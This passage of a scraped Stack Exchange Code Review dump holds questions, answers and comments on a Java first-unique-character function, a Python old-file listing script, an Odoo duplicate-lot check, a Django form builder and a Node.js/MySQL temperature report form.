"body": "Interesting. Compared to @Marc's answer using one LinkedHashMap to count occurrences (and then search it for the first entry with a count of `1`), this has the advantage of being read-only when scanning through already-duplicate characters, so it's great for long strings with a small alphabet (like English or ASCII). Although if you know you have ASCII, `bool seen[256]` and `int firstpos[256]` would remove the cost of hashing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T21:26:35.240",
"Id": "489972",
"Score": "0",
"body": "Over a long string with a large alphabet with a mix of repeats and unique characters (where the answer appears fairly early in the string), Marc's might win: this answer would be removing from one set and adding to another for a lot of inputs, vs. just finding and incrementing counters. But that's probably the worst case for this answer. Also for small strings, one linkedhashmap might be cheaper to init and tear down than two sets (one of them linked). As you say, you'd need to benchmark for any given use-case if it was a significant time sink or source of GC churn."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T14:25:33.860",
"Id": "490030",
"Score": "0",
"body": "Something to keep in mind is autoboxing here. Ever time you use a `char` as `Character`, the comiler silently adds a call to `Character.valueOf`, which might or might not give you a cached instance."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:03:26.547",
"Id": "249828",
"ParentId": "249820",
"Score": "8"
}
},
{
"body": "<p>One point I don't find addressed in <a href=\"https://codereview.stackexchange.com/a/249828/93149\">Joop Eggen's answer</a>:</p>\n<ul>\n<li>don't write, never present <a href=\"https://www.oracle.com/technetwork/java/javase/documentation/index-137868.html#styleguide\" rel=\"noreferrer\">un(doc)commented</a> code</li>\n</ul>\n<p>My take is entirely similar to his, isolating <em>determination of the result</em> from <em>use</em>:</p>\n<pre><code> /** @return first non-repeated <i>code point</i> from <code>str</code> */\n static Optional<Integer> firstNonRepeatedChar(CharSequence str) {\n Set<Integer>\n all = new java.util.LinkedHashSet<>(9 + Integer.highestOneBit(str.length())),\n repeated = new java.util.HashSet<>();\n str.codePoints().forEachOrdered(c -> {\n if (!all.add(c))\n repeated.add(c); });\n all.removeAll(repeated); // "all non-repeated" hereafter\n return all.stream().findFirst();\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:50:25.210",
"Id": "489883",
"Score": "0",
"body": "+1 Thanks for help but your code is not compiling as all.removeAll() is returning boolean value. Please edit your code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:57:23.613",
"Id": "489884",
"Score": "1",
"body": "I find this answer compelling, especially as using int code points (UTF-32, pure Unicode numbers) is nice, IMHO state of the art, rather than char (UTF-16). You still might consider `OptionalInt` and then a better name `firstUniqueCodePoint`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:17:05.613",
"Id": "489885",
"Score": "0",
"body": "(One of my problems is I didn't yet upgrade my local IDE from Java 8: infant streams, no Optional at all, … - lame excuse with all the web IDEs around.) (Hey, and Oracle ruined the use of their online-javadoc with firefox.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:12:25.437",
"Id": "489899",
"Score": "0",
"body": "(@JoopEggen Optional<Integer> has the advantage of being the type of Collection<Integer>.stream().findFirst(). I want(ed) to help making the connection to `printFirstNonRepeatedChar()`.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:23:52.497",
"Id": "490013",
"Score": "0",
"body": "Why do you think that this method needs a documentation comment? Every word from that comment is already contained in the function signature, except for \"Code Point\", but that's due to the inappropriate method name."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T11:26:44.963",
"Id": "490014",
"Score": "0",
"body": "You should have added an implementation comment about the `highestOneBit` part instead, since that part is completely non-obvious."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T13:13:17.683",
"Id": "490020",
"Score": "0",
"body": "(@RolandIllig being obscure is the very point of obscure jokes. `// what size to expect? Umm, a bit less than *HashMap standard, plus something growing slowly with string length and not requiring an import`?)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T13:14:45.563",
"Id": "490021",
"Score": "0",
"body": "@RolandIllig: I hold \"every\" non-private member isn't worth half as much without."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:33:17.607",
"Id": "249832",
"ParentId": "249820",
"Score": "7"
}
},
{
"body": "<p>I would do it without the additional set as follows. Basically same approach as <a href=\"https://codereview.stackexchange.com/questions/245869/checking-if-a-string-contains-all-unique-characters\">here</a>, but with a different return value.</p>\n<pre><code>public class FirstNonRepeatedChar {\n public static void main(String[] args) {\n System.out.println(findFirstNonRepeatedChar("somecharsjustdon'tliketorepeat"));\n }\n \n /**\n * Returns the first non-repeated char.\n * \n * @param input\n * @return\n */\n private static char findFirstNonRepeatedChar(final String input) {\n final var len = input.length();\n for (var index = 0; index < len; index++) {\n final var ch = input.charAt(index);\n // find next index of that char\n final var firstIndex = input.indexOf(ch);\n final var lastIndex = input.lastIndexOf(ch);\n if (firstIndex == lastIndex) {\n // this means there is no next char\n return ch;\n }\n }\n // No such char found.\n return 0;\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:55:59.073",
"Id": "489893",
"Score": "0",
"body": "Fine solution. Though complexity O(N²) it stops when the unique char is found, say in the beginning. So its actual speed can compare very good. And `indexOf` is ideal."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:58:01.203",
"Id": "489894",
"Score": "2",
"body": "This is one of the approaches I thought of but there is a trap! Your code is going to check for duplicates ahead of currecnt char so in case where there is no similar char ahead but there are some behind current char *it'll fail*. One such case will be \"aasdds* - in second iteraion when loop checks for duplicates of second 'a' it won't find any ahead but there is one 'a' behind it. I hope it's clear what I'm trying to say. Thanks anyway :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:17:24.313",
"Id": "489900",
"Score": "0",
"body": "(one way to fix \"the first/last occurrence problem\" would be to compare `firstIndexOf()` to `lastIndexOf()` - with or without the current index as a parameter.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:10:35.233",
"Id": "489924",
"Score": "0",
"body": "I see the point. I admit it wasn't tested thoroughly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:36:11.807",
"Id": "490000",
"Score": "0",
"body": "@greybeard Thanks, I updated my code."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:52:09.737",
"Id": "249833",
"ParentId": "249820",
"Score": "3"
}
},
{
"body": "<p>Welcome to Code Review. There are already excellent answers, I am adding an alternative solution running in <span class=\"math-container\">\\$O(n)\\$</span> and relatively simple to understand.</p>\n<pre><code>private static void printFirstNonRepeatedChar(String str) {\n // LinkedHashMap maintains the insertion order\n Map<Character, Integer> freq = new LinkedHashMap<>();\n \n // Create map of frequencies \n for (Character c : str.toCharArray()) {\n if (freq.containsKey(c)) {\n freq.put(c, freq.get(c) + 1);\n } else {\n freq.put(c, 1);\n }\n }\n \n // Find first character with frequency 1\n for (Entry<Character, Integer> entry : freq.entrySet()) {\n if (entry.getValue() == 1) {\n System.out.println(entry.getKey());\n break;\n }\n }\n}\n</code></pre>\n<p>The map <code>freq</code> contains the frequencies of the characters. For example, given the string <code>aabbc</code>, the map will be:</p>\n<ul>\n<li>a -> 2</li>\n<li>b -> 2</li>\n<li>c -> 1</li>\n</ul>\n<p><code>LinkedHashMap</code> maintains the insertion order so after building the map it's enough to find the first entry with frequency 1.</p>\n<p>This is the same but using Streams:</p>\n<pre><code>private static Character findFirstNonRepeatedChar(String str) {\n Map<Character, Long> freq = str.codePoints()\n .mapToObj(c -> (char) c)\n .collect(Collectors.groupingBy(Function.identity(),\n LinkedHashMap::new, \n Collectors.counting()));\n return freq.entrySet().stream()\n .filter(e -> e.getValue()==1)\n .map(Map.Entry::getKey)\n .findFirst().orElse(null);\n}\n</code></pre>\n<h2>Time complexity</h2>\n<p>Your solution runs in <span class=\"math-container\">\\$O(n^2)\\$</span>, where <span class=\"math-container\">\\$n\\$</span> is the length of the input string. I highlighted in your code the relevant parts:</p>\n<pre><code>static void printFirstNonRepeatedChar(String str){\n // O(n)\n for(char c : str.toCharArray()){\n // isRepeated runs in O(n)\n if(! isRepeated(str, c)){\n // O(1)\n }\n }\n //..\n}\n</code></pre>\n<p>As @Joop Eggen said, for small input strings you need to benchmark the solutions to really see the difference, but for large inputs the <a href=\"https://en.wikipedia.org/wiki/Big_O_notation\" rel=\"nofollow noreferrer\">Big O notation</a> must be considered.</p>\n<h2>Testing and reusability</h2>\n<p>Generally, it's better to return a result instead of printing in the method. It's easier to test and reuse. In your case the method could return the character or null. For example:</p>\n<pre><code>static Character printFirstNonRepeatedChar(String str){\n //...\n if(! isRepeated(str, c)){\n return c;\n }\n return null;\n}\n</code></pre>\n<p>Now the method is easy to test:</p>\n<pre><code>@Test\npublic void findFirstNonRepeatedCharTest() {\n assertEquals(Character.valueOf('c'),findFirstNonRepeatedChar("aabbc"));\n assertNull(findFirstNonRepeatedChar("aa"));\n}\n</code></pre>\n<h2>Minor changes</h2>\n<ul>\n<li>In the method <code>printFirstNonRepeatedChar</code> you can just <code>return;</code> instead of using the flag <code>found</code> and <code>break</code>.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:43:21.237",
"Id": "489890",
"Score": "1",
"body": "First of all thanks for warm welcomes Marc :) Very nice solution and explaination. It's easy to understand. codereview seems to best community so far ;). I'm confused whose answer to should I mark as best. All are good."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T12:08:31.763",
"Id": "489897",
"Score": "1",
"body": "@Omkar76 I am glad I could help. My suggestion is to wait until the question is not \"active\" anymore, to be sure that you don't miss any other good review. Then pick the answer that is best for you ;)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T09:58:55.563",
"Id": "490001",
"Score": "1",
"body": "@Omkar76 FYI I added the solution using Java Streams and few other advices."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T14:24:28.083",
"Id": "490029",
"Score": "1",
"body": "Something to keep in mind is autoboxing, to a certain degree. Every time you assign a `char` to a `Character`, the compiler silently adds `Character.valueOf(c)`, which might or might not give you a cached instance. Same goes for your unit test, instead of creating a new instance, you should call `Character.valueOf`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T15:19:36.330",
"Id": "490036",
"Score": "0",
"body": "@Bobby good point. And I just noticed that `new Character()` has been deprecated since Java 9."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:25:20.213",
"Id": "249836",
"ParentId": "249820",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "249836",
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T06:45:38.050",
"Id": "249820",
"Score": "6",
"Tags": [
"java",
"strings"
],
"Title": "First non repeated character"
}
|
249820
|
<p>I am new to programming and need input on how I could've written something better. Not coding on daily basis. The task was to write a script in python, bash or anything. So I mixed python with bash commands using python module <code>os.systems</code>. Some friends recommended lists but I wanted the output to be similar as the example in this task:</p>
<blockquote>
<p>Write a script (Bash, Python etc.) that checks for files - in directory X - that have not been
modified in (older than) the last Y days.<br />
The directory and days should be passed to the script as mandatory arguments.</p>
<p>The script shall only look for files in directory X,
not in sub directories. You may assume that none of the filenames contain newlines.</p>
<p>The output of the script should print the file names, and the time for
when the file was last modified, sorted by modification time:</p>
<pre><code>./README.txt 2019-05-09 17:19:53.193771720 +0200
./README.txt.gpg 2019-05-09 17:20:21.331833720 +0200
./migratemost-master.zip 2019-05-20 12:52:34.867119547 +0200
./INC177759 2019-05-23 13:29:47.014557386 +0200
</code></pre>
<p>Include a help option, so that if '-h' or '--help' is passed as an optional
argument, a summary of what the program does is printed to stdout.</p>
<p>Also try to handle user errors so the script exits gracefully with an error
message upon incorrect - or missing - input.</p>
</blockquote>
<p><strong>My solution that I need help to refactor/improve peer review on:</strong></p>
<pre class="lang-py prettyprint-override"><code>import os
import sys
days = raw_input("Please enter days: ")
if days.isdigit():
print "You entered:", days
else:
sys.exit("Exiting the program, wrong data type.")
dir = raw_input("Please enter path: ")
print "You entered:", dir
stuff_in_string = "find {} -type f -mtime -{}".format(dir, days)
print stuff_in_string
print(os.system('{} | xargs -d \'\n\' ls -lth --full-time'.format(stuff_in_string)))
</code></pre>
<p><strong>The output:</strong></p>
<pre class="lang-none prettyprint-override"><code>$ python main.py
Please enter days: asdf
Exiting the program, wrong data type.
$
$ python main.py
Please enter days: 365
You entered: 365
Please enter path: .
You entered: .
find . -type f -mtime -365
-rw-r--r--. 1 root root 413 2020-09-21 16:43:48.608029286 +0200 ./main.py
-rw-r--r--. 1 root root 0 2020-09-21 09:36:17.072137720 +0200 ./file2.csv
-rw-r--r--. 1 root root 0 2020-09-21 09:35:28.502502950 +0200 ./file1.txt
0
$
$ python main.py
Please enter days: 9999
You entered: 9999
Please enter path: .
You entered: .
find . -type f -mtime -9999
-rw-r--r--. 1 root root 413 2020-09-21 16:43:48.608029286 +0200 ./main.py
-rw-r--r--. 1 root root 0 2020-09-21 09:36:17.072137720 +0200 ./file2.csv
-rw-r--r--. 1 root root 0 2020-09-21 09:35:28.502502950 +0200 ./file1.txt
-rw-r--r--. 1 root root 0 2012-01-01 00:00:00.000000000 +0100 ./goldenfile.xls
0
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:37:26.703",
"Id": "489867",
"Score": "0",
"body": "Not been modified in last 1 year, should not include `main.py` from my perspective"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:42:54.753",
"Id": "489868",
"Score": "0",
"body": "`main.py` is arbitrary. Not been modified in last 1 year?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:50:40.843",
"Id": "489869",
"Score": "0",
"body": "Welcome to CodeReview@SE. `I wanted the output to [look similar to] the example` have another look: the example lists file modified *more* than 365 days ago, in order of *decreasing* \"age of modification\". Your output shows \"*younger*\" files increasing in age."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:51:20.830",
"Id": "489870",
"Score": "0",
"body": "`2020-09-21 16:43:48.608029286 +0200` is the time file was last modified. I do not think this is outside of 1 year limit."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:53:49.870",
"Id": "489871",
"Score": "0",
"body": "(I removed the [tag:bash] tag, as I hold neither `find` nor `ls` to be `bash` built-ins.)"
}
] |
[
{
"body": "<h1>Don't mix programming language</h1>\n<p>Try to avoid mixing different languages in one program. You are creating a Frankenstein monster this way, that depends on you having to deal with multiple languages, their interaction with each other, and now your computer needs to have the necessary interpreters and libraries installed for both languages. It is also quite expensive to call <code>os.system()</code>, so performance suffers as well.</p>\n<p>For the rest of the review I'm assuming you want to want to continue using Python.</p>\n<h1>Make sure your script works with Python 3</h1>\n<p>Python version 2 is obsolete, you should <a href=\"https://docs.python.org/3/howto/pyporting.html\" rel=\"nofollow noreferrer\">move to Python 3</a>. The most important change in your script though is adding parentheses to the <code>print</code>-statements.</p>\n<h1>Ensure you implement your program according to the requirements</h1>\n<p>The requirements you mention say that the directory and number of days should be passed as <em>arguments</em>. That means you should not ask for them while the program is running. The easiest way to parse command line arguments is to use the <a href=\"https://docs.python.org/3/library/argparse.html\" rel=\"nofollow noreferrer\"><code>argparse</code></a> module. As a bonus, this will also automatically create a help text that will be printed when you specify the <code>--help</code> option on the command line.</p>\n<p>The requirements also say you have to sort the output based on modification time. Note that your original shell command did not guarantee that the output was correctly sorted: <code>xargs</code> might call <code>ls</code> multiple times, each time with only part of the input.</p>\n<h1>Have Python produce a list of files</h1>\n<p>You can use <a href=\"https://stackoverflow.com/questions/3207219/how-do-i-list-all-files-of-a-directory\"><code>os.listdir()</code></a> to get a list of all the elements in a directory. That list might also contain the names of subdirectories, but it will not recurse into them. Use <a href=\"https://docs.python.org/3/library/os.html#os.stat\" rel=\"nofollow noreferrer\"><code>os.stat()</code></a> on each element to check if it is a file or a directory, and also to get the modification time.</p>\n<h1>Add a shebang line to the top of your script</h1>\n<p>Add a <a href=\"https://en.wikipedia.org/wiki/Shebang_(Unix)\" rel=\"nofollow noreferrer\">shebang</a> line to the top, so you can call your script without having to call the Python interpreter explicitly. This line can look like:</p>\n<pre><code>#!/usr/bin/python3\n</code></pre>\n<p>I also recommend you remove the <code>.py</code> extension from your script, as it will be a stand-alone script, and for the user it shouldn't matter if it's writting in Python or any other language. This way, along with the argument parsing, you should be able to call your script like so:</p>\n<pre><code>$ ./main . 365\n./README.txt 2019-05-09 17:19:53.193771720 +0200\n./README.txt.gpg 2019-05-09 17:20:21.331833720 +0200\n./migratemost-master.zip 2019-05-20 12:52:34.867119547 +0200\n./INC177759 2019-05-23 13:29:47.014557386 +0200\n</code></pre>\n<p>Of course, the name <code>main</code> doesn't really tell what your script does. Give it a better name, like <code>list_recent_files</code>.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T18:36:06.090",
"Id": "249859",
"ParentId": "249822",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T07:13:25.583",
"Id": "249822",
"Score": "2",
"Tags": [
"python",
"beginner",
"linux"
],
"Title": "List files based on changes"
}
|
249822
|
<p>I have this function that searches for stock moves that have the same product, and if it finds them then it searches for lots in those lines, and if it finds the same lots then UserError is raised.</p>
<p>The thing is I think this method can be rewritten in a more elegant way. Maybe someone can help me with that.</p>
<pre><code>def check_for_duplicates(self):
exist_product_list = {}
duplicates = {}
for line in picking.move_lines:
if line.product_id.id in exist_product_list:
duplicates[line.id] = line.product_id.id
for product, line_id in exist_product_list.items():
if product == line.product_id.id and line.id != line_id:
duplicates[line.id] = line.product_id.id
duplicates[line_id] = product
exist_product_list[line.product_id.id] = line.id
duplicate_lots = []
if duplicates:
for line in self.env['stock.move'].browse(duplicates.keys()):
lots = line.mapped('lot_ids')
for lot in lots:
if lot in duplicate_lots:
raise UserError(
_('You have few lines with same product %s and same lot in it') % line.product_id.name)
duplicate_lots.append(lot)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T09:35:48.400",
"Id": "489876",
"Score": "1",
"body": "The current question title of your question is too generic to be helpful. Please edit to the site standard, which is for the title to simply **state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:23:26.357",
"Id": "489910",
"Score": "0",
"body": "where is `picking` coming from?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-29T05:31:43.997",
"Id": "490297",
"Score": "0",
"body": "@hjpotter92 i missed here one line. For picking in self:. so the picking coming from self"
}
] |
[
{
"body": "<h1>Avoid similar variable names</h1>\n<p>There's <code>line.product_id.id</code>, <code>line_id</code> and <code>line.id</code>. This is very confusing. Try to avoid having variable names that are too close to each other.</p>\n<h1>Simplifying the code</h1>\n<p>You can indeed simplify the code somewhat. First, you want to find out if there are multiple lines that reference the same product. To do that, you want to have a <code>dict</code> that maps from product IDs to a list of lines. The easiest way to do this is to use a <code>defaultdict(list)</code>:</p>\n<pre><code>from collections import defaultdict\n\ndef check_for_duplicates(self):\n product_lines = defaultdict(list)\n\n # Build a map of which lines reference which products\n for line in picking.move_lines:\n product_lines[line.product_id.id].append(line.id)\n</code></pre>\n<p>Then you can go over that map to check if any product occurs on more than one line:</p>\n<pre><code> # Find duplicates\n for product, lines in product_lines.items():\n if len(lines) > 1:\n # Report lines with duplicate products here\n ...\n</code></pre>\n<p>I'm not sure how to improve on the part that checks for duplicate lots, I don't know what type <code>self.env[...]</code> is and what the <code>browse()</code> function does, but perhaps the above code will help you simplify that as well.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T18:08:28.423",
"Id": "249857",
"ParentId": "249824",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249857",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T08:14:52.810",
"Id": "249824",
"Score": "3",
"Tags": [
"python",
"odoo"
],
"Title": "Stock product and lot duplicate finder"
}
|
249824
|
<p>I am quite new in django forms. I am woking on problem where in function name generate_outage_form passed two parameters name settings and segment Now I have to make function less verbose and more robust.</p>
<pre><code>def generate_outage_form(settings, segment=None):
form = None
datacenters = settings.get('datacenters')
datacenters = get_and_sort(datacenters, 'abbreviation')
departments = settings.get('departments')
departments = get_and_sort(departments, 'name')
outage_types = settings.get('outage_types', [])
outage_causes = settings.get('outage_causes', [])
outage_impacts = settings.get('outage_impacts', [])
# Put a check to determine what form should be shown
if not segment:
if session.get('division'):
dc_search = re.search(r'global dc', session.get('division'), re.I)
ent_search = re.search(r'support', session.get('division'), re.I)
if dc_search:
form = forms.RecordDCOutage()
segment = 'datacenter'
if ent_search:
form = forms.RecordSupportOutage()
segment = 'support'
if not form:
form = forms.RecordDCOutage()
segment = 'datacenter'
else:
form = forms.RecordSupportOutage()
segment = 'support'
else:
if segment == 'datacenter':
form = forms.RecordDCOutage()
elif segment == 'support':
form = forms.RecordSupportOutage()
else:
form = forms.RecordSupportOutage()
segment = 'support'
form.outage_type.choices = [
(
i_type.get('name'),
i_type.get('name')
) for i_type in outage_types if (
i_type.get('active') and i_type.get(segment)
)
]
form.outage_type.choices.insert(0, ('', ''))
form.outage_cause.choices = [
(
cause.get('name'),
cause.get('name')
) for cause in outage_causes if (
cause.get('active') and cause.get(segment)
)
]
form.outage_cause.choices.insert(0, ('', ''))
form.outage_impact.choices = [
(
impact.get('name'),
impact.get('name')
) for impact in outage_impacts if (
impact.get('active') and impact.get(segment)
)
]
form.outage_impact.choices.insert(0, ('', ''))
form.data_center.choices = [
(
dc.get('abbreviation'),
'%s - %s' % (
dc.get('abbreviation'),
dc.get('name')
)
) for dc in datacenters if dc.get('active')
]
form.data_center.choices.insert(0, ('', ''))
form.departments.choices = [
(
dept.get('name'),
dept.get('name')
) for dept in departments if (
dept.get('active') and dept.get(segment)
)
]
return form, segment
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T11:40:44.363",
"Id": "489889",
"Score": "3",
"body": "Telling what the code does helps us write better reviews. Right now there isn't enough information about what the code does. That information should be in the title and the first paragraph. Please see [How to ask a good question](https://codereview.stackexchange.com/help/how-to-ask)."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T09:57:05.967",
"Id": "249827",
"Score": "1",
"Tags": [
"python",
"django"
],
"Title": "List some things that to make it less verbose and more robust"
}
|
249827
|
<p>So, I have been recently heavily focusing on Front-End, for data validation, showing errors etc. And a big thank you to <a href="https://codereview.stackexchange.com/users/167260/certainperformance">CertainPerformance</a> for many reviews hes done for me :)</p>
<p>I have created a Report template using <code>handlebars</code> and a <code>MySQL</code> database to store the data, using <code>Node JS</code> to interact between the 2. I have now gained understanding how Node JS can interact with the front end, grab data and send it to a database.</p>
<p>I'd like to hear some reviews to my current code - front, and back end. For me, personally it works and I am extremely happy that I am able to create such thing, whereas before I never thought I could :D</p>
<p>Just want to hear some reviews - where I can improve, where I'm I lacking, what can be simplified etc..</p>
<p><strong>Node JS</strong></p>
<p><strong>Note:</strong> this function is triggered at routing stage, I haven't included it here.</p>
<pre><code>// 21-TEMP-01a
exports.TEMP01A21 = async function(req, res) {
// Array to store actual temperature
var actualTemp = [];
// Array to store minimum temperature
var minTemp = [];
// Array to store maximum temperature
var maxTemp = [];
// Array to store actual humidity
var actualHumid = [];
// Array to store minimum humidity
var minHumid = [];
// Array to store maximum humidity
var maxHumid = [];
// Get drying room names
var roomNames = [];
// Loop thorugh each req.body values
for(var key in req.body) {
// Store req.body key to value var
var value = req.body[key];
// For each key that starys with ActualTemp store into array
if(key.startsWith("actualtemp")) {
actualTemp.push(value);
}
// minTemp
if(key.startsWith("mintemp")) {
minTemp.push(value);
}
// maxTemp
if(key.startsWith("maxtemp")) {
maxTemp.push(value);
}
// actualHumidity
if(key.startsWith("actualhumid")) {
actualHumid.push(value);
}
// minHumidity
if(key.startsWith("minhumid")) {
minHumid.push(value);
}
// maxHumidity
if(key.startsWith("maxhumid")) {
maxHumid.push(value);
}
// Room Names
if(key.startsWith("dryingroom")) {
roomNames.push(value);
}
}
// Get todays date
var today = new Date();
// Format the date
var formatDay = today.toISOString().substring(0, 10);
// Create an array to create custom MySQL query
var values = [];
// For each temperature value, store its output to values array
for(var i = 0; i < actualTemp.length; i++) {
values.push([roomNames[i] , actualTemp[i],
minTemp[i], maxTemp[i],
actualHumid[i], minHumid[i],
maxHumid[i], formatDay,
res.locals.user.id]);
}
db.query("insert into 21TEMP01a (room_name, actual_temperature, min_temperature, max_temperature, actual_humidity, min_humidity, max_humidity, time, user) values ?", [values], (error, result) => {
if(error) {
console.log(error);
}
else{
res.redirect('/reports/daily');
}
});
}
</code></pre>
<p><strong>Front-End</strong></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous">
<div class="container mt-4">
<h3>Form:</h3>
<form id="form" class="mt-4 mb-4" action="/reports_send/21-TEMP-01a" method="POST">
<div style="border: 1px solid black; padding: 40px; border-radius: 25px;">
<h4>Select Room</h4>
<div id="RoomSelect">
<select id="RoomMenu" class="form-control mb-4">
<!-- Drying Room 1 -->
<option value="dry-1">Drying Room 1</option>
<!-- Drying Room 2 -->
<option value="dry-2">Drying Room 2</option>
<!-- Dry Store-->
<option value="dry-3">Dry Store</option>
</select>
</div>
<div id="RoomInputs">
<!-- Drying Room 1 -->
<div class="form-group" id="dry-1">
<!-- Title -->
<h4>Drying Room 1</h4>
<input type="hidden" name="dryingroom1" value="Drying Room 1">
<!-- All temperatures -->
<div class="temperatures">
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actualtemp1" step=0.01>
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="mintemp1" step=0.01>
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="maxtemp1" step=0.01>
</div>
<br>
<br>
<!-- All humidity -->
<div class="humidity">
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actualhumid1">
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="minhumid1">
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="maxhumid1">
</div>
</div>
<!-- Drying Room 2 -->
<div class="form-group" id="dry-2">
<!-- Title -->
<h4>Drying Room 2</h4>
<input type="hidden" name="dryingroom2" value="Drying Room 2">
<!-- All temperatures -->
<div class="temperatures">
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actualtemp2" step=0.01>
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="mintemp2" step=0.01>
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="maxtemp2" step=0.01>
</div>
<br>
<br>
<!-- All humidity -->
<div class="humidity">
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actualhumid2">
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="minhumid2">
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="maxhumid2">
</div>
</div>
<!-- Dry Store -->
<div class="form-group" id="dry-3">
<!-- Title -->
<h4>Dry Store</h4>
<input type="hidden" name="dryingroom3" value="Dry Store">
<!-- All temperatures -->
<div class="temperatures">
<label>Temperature °C - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actualtemp3" step=0.01>
<label>Temperature °C - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="mintemp3" step=0.01>
<label>Temperature °C - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="maxtemp3" step=0.01>
</div>
<br>
<br>
<!-- All humidity -->
<div class="humidity">
<label>Relative Humidity - <strong>Actual</strong></label>
<input type="number" class="form-control" name="actualhumid3">
<label>Relative Humidity - <strong>Minimum</strong></label>
<input type="number" class="form-control" name="minhumid3">
<label>Relative Humidity - <strong>Maximum</strong></label>
<input type="number" class="form-control" name="maxhumid3">
</div>
</div>
<div id="errors" class="mt-2 alert alert-danger" style="opacity: 0; transition: all .5s;">
<p>Please complete all required fields</p>
</div>
<button id="submit-btn" class="btn btn-primary">Submit</button>
</div>
</div>
</form>
</div>
<!-- Errors -->
<div id="myModal" class="modal" tabindex="-1" role="dialog">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Targets not met</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
